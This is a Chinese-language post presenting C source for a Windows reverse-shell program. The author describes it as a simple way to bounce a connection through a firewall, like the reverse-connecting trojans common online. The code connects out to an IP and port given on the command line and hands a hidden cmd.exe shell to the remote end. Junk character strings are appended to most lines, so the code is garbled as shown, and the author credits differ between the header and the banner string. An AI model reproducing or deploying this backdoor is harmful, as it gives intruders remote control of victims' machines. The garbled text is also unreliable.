这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 E^b
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/* ============================== oJP<'l1
Rebound port in Windows NT ?Wwh
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By wind,2006/7 $z= 0[%L
===============================*/ =y?#^
#include h6g=$8E
#include NNwc!x)*
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#pragma comment(lib,"wsock32.lib") |WB"=PE
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void OutputShell(); 0(wf{5
SOCKET sClient; fH-NU-"
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; j h;
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void main(int argc,char **argv) @q,)fBZq
{ Q2*/`L}m\
WSADATA stWsaData; 66oK3%[
int nRet; zLh Fbyn(
SOCKADDR_IN stSaiClient,stSaiServer; ?K0U3V$s
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if(argc != 3) Oz:D.V
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{ s>T`l
printf("Useage:\n\rRebound DestIP DestPort\n"); fCLcU@3W?
return; {5SfE$r
} ft{W/ * +_
]} '^`
WSAStartup(MAKEWORD(2,2),&stWsaData); j2M4H@
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %>i@F=O2<
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stSaiClient.sin_family = AF_INET; uii7b7[w
stSaiClient.sin_port = htons(0); YZ0en1ly
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Z*9L'd"D|
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8fnR1mWG
{ e{5,'(1]
printf("Bind Socket Failed!\n"); xFOBF")
return; EY]a6@;
} :JR<SFjm
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stSaiServer.sin_family = AF_INET; m)r]F#@/
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Z+0?yQ=%
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 5)mVy?Z
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Y =9j2 ]t
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printf("Connect Error!"); ai4PM
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return; 7UnzIe
} /M:H9Z8!
OutputShell(); %8
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} t')h{2&&!2
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void OutputShell() c)03Ms4
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{ _D-5}a"
char szBuff[1024]; eO'xkm
SECURITY_ATTRIBUTES stSecurityAttributes; )`<6taKx@n
OSVERSIONINFO stOsversionInfo; }S,-uggz
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7ZQ'h3K
STARTUPINFO stStartupInfo; c -w0
char *szShell; `0?^[;[u[
PROCESS_INFORMATION stProcessInformation; t~ -J %$
unsigned long lBytesRead; y5_XHi@u~o
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0vDg8i\
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ?s%v 3T
stSecurityAttributes.lpSecurityDescriptor = 0; s{ =5-:
stSecurityAttributes.bInheritHandle = TRUE; +lKrj\Xj
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); sYW[O"oNi
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [7RheXO<
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); LP ,9<&"<
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 66
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stStartupInfo.wShowWindow = SW_HIDE; _#FIay\ahB
stStartupInfo.hStdInput = hReadPipe; c#
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; EMhr6</
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GetVersionEx(&stOsversionInfo); Ra0=q4vdk
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switch(stOsversionInfo.dwPlatformId) QF.3c6O@
{ y^G>{?Tha
case 1: o!utZmk$
szShell = "command.com"; 6|^0_6_
break; %9X{{_
default: s@s/'^`
szShell = "cmd.exe"; H UkerV
break; -E]Sk&4Gj
} y@`~ 9$
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ESIzGaM
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send(sClient,szMsg,77,0); HlPG3LD!
while(1) >t0%?wj)Y
{ @zrNN>
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); GmbIFOT~
if(lBytesRead) #
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{ J\{$ot
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ib]vX-
send(sClient,szBuff,lBytesRead,0); (Xo SG
} +0"x|$f~
else KmL$M
{ 87<9V.s2
lBytesRead=recv(sClient,szBuff,1024,0); #k9<
if(lBytesRead<=0) break; +#s;yc#=2
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \?&Au
} D%U:!|G
} YjLe(+WQ
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return; B+Z13;}B
}